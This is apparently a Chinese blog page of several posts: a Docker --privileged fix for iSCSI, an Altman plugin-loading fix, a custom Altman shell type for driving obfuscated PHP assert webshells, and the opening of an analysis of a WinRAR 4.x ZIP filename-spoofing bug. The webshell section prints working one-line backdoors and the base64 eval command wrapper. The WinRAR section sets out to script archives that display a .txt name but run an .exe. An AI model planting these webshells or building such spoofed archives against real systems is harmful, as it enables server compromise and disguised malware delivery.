因为有业务需求,需要在docker的容器下连接iscsi磁盘。
部署docker镜像,安装open-iscsi: test@testpc$ docker pull ubuntu:14.04 test@testpc$ docker run ubuntu:14.04 apt-get install -y open-iscsi 进入容器,运行iscsiadm: root@aaaa# iscsiadm -m discovery -t st -p 192.168.1.10 iscsiadm: can not connect to iSCSI daemon (111)! iscsiadm: can not connect to iSCSI daemon (111)! iscsiadm: Cann perform discovery. connect to iSCSI daemon (111)! 初步排查原因,可能是因为找不到iscsi的驱动。该装装,该删删,结果依旧不行。
有没有可能是docker本身的默认配置或策略问题?想到这,果然在某个docker官方文档中找到了一个参数privileged:
test@testpc$ docker help run ... --privileged=false Give extended privileges to this container ... docker容器内的root,默认情况下只是外部的一个普通用户权限,并不拥有root权限。只有使用了该参数,容器内的root才拥有真正的root权限。
尝试一下:
使用privileged创建一个新的容器: test@testpc$ docker run --privileged --name test -t -i ubuntu:14....
一直有小伙伴给我反馈说:在.Net环境安装好的情况下,Altman不能自动载入插件。
而我在测试的时候,确实发生过相似的现象,但却找不到问题所在。
今天早些时候,在stackoverflow看到之前有人提到过类似的问题,恍然大悟。
原来,当我们从Web下载Altman程序的时候,程序集将会被添加一个新的安全属性(文件来自网络,已被锁定)。运行altman,由于loadFromRemoteSources默认属性是false,程序就无法加载这些插件dll。(在这里有详细的说明)
所以,解决这个问题目前有三种方法:
手动修改Plugins目录下插件的文件属性。 在程序根目录下添加Altman.exe.config,内容如下: <configuration>
<runtime>
<loadFromRemoteSources enabled="true"/>
</runtime>
</configuration>
主程序将在下一个版本2.2.1中解决该问题。
之前测试altman工具的时候,遇到了一个问题,现解决方法如下:
Altman连接phpEval一句话木马的时候,phpEval.type的定义如下:
<customShellType>
<basicSetting>
<name>phpEval</name>
<serviceExample><![CDATA[<?php @eval($_POST[a])?>]]></serviceExample>
<mainCodeParam location="Body" encrymode="None" >passwd</mainCodeParam>
</basicSetting>
<mainCodeSetting>
<funcCodeParam location="Body" encrymode="Base64" >funcCode</funcCodeParam>
<item><![CDATA[print("->|");
eval(base64_decode($_POST[$funcCode$]));
print("|<-");
die();]]></item>
</mainCodeSetting>
</customShellType>
eval函数执行php语句
print("->|");eval(base64_decode($_POST[$funcCode$]));print("|<-");die();时,
确实是正确的。
然而当使用某些变形php一句话木马,如:
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["a"]); ?>
时,
Altman就无法连接一句话木马了。
原因在于,这个变形木马使用的是assert函数,而eval与assert最主要区别是eval的参数可以是多个语句,而assert的参数是一个表达式。所以assert只会执行到print("->|")代码,后面的代码则直接报错了。
所以在了解到eval与assert的区别后,很容易写出一个新脚本类型,phpAssert.type定义如下:
<customShellType>
<basicSetting>
<name>phpAssert</name>
<serviceExample><![CDATA[<?php @assert($_POST[a])?>]]></serviceExample>
<mainCodeParam location="Body" encrymode="None" >passwd</mainCodeParam>
</basicSetting>
<mainCodeSetting>
<funcCodeParam location="Body" encrymode="Base64" >funcCode</funcCodeParam>
<item><![CDATA[@eval("print('->|');".base64_decode($_POST[$funcCode$])."print('|<-');");]]></item>
</mainCodeSetting>
</customShellType>
PS:其实assert还有一个坑,那就是echo在assert中是不能直接使用的,因为在php中echo并不是一个函数:),不能作为表达式。
0×00 背景 这几天仔细研究了winrar4.x系列的文件扩展名欺骗漏洞的那篇文章,通过一些测试对其有了一些新的想法和建议。(准确的说应该不能算文件扩展名欺骗漏,不止扩展名,整个文件名都是可以欺骗的)
具体的漏洞成因相信文章中都很清楚了,简单说一下:
zip格式中有2个filename,一般情况下,一般应用程序打开zip时,预览使用的是filename2,点击预览也是以filename2方式打开的,只有在解压的时候才会使用filename1。然而在winrar4.x中,点击预览是以预览filename1方式打开的。
这会造成什么结果呢?当第一个filename为readme.exe,第二个filename为readme.txt时,用winrar4.x打开时,你在程序窗口看到的文件名为readme.txt,然后你再点击文件时却是以readme.exe方式打开,这就形成漏洞了。
文章给出了如何利用这个bug的方法,更改filename2即可。但是作者是手动操作的,那么能不能写成利用脚本呢?这个filename2的长度有没有要求,需不需要和filename1长度相同?这正是本文要研究的。
0×01 细节 在研究这个问题以前,先科普一下zip格式(想看详细版的去网上下载APPNOTE.TXT)。
zip格式由3部分组成:
1. 文件内容源数据
2. 目录源数据
3. 目录结束标识结构
以只压缩了一个文件的zip文件为例,大致格式为:
[file header]
[file data]
[data descriptor]
[central directory file header]
[end of central directory record]
其中关键的几个字段为:
[file header]:
Offset Bytes Description
18 4 Compressed size
26 2 File name length (n)
28 2 Extra field length (m)
30 n File name
30+n m Extra field
[central directory file header]:
Offset Bytes Description
28 2 File name length (n)
30 2 Extra field length (m)
34 2 File comment length (k)
[end of central directory record]:
Offset Bytes Description
12 4 Size of central directory (bytes)
16 4 Offset of start of central directory, relative to start of archive
在了解了zip基本格式后,我对winrar压缩生成的zip文件和用windows生成的zip文件进行了分析,它们的区别是winrar的zip文件在Extra field区段都进行了一些数据填充。...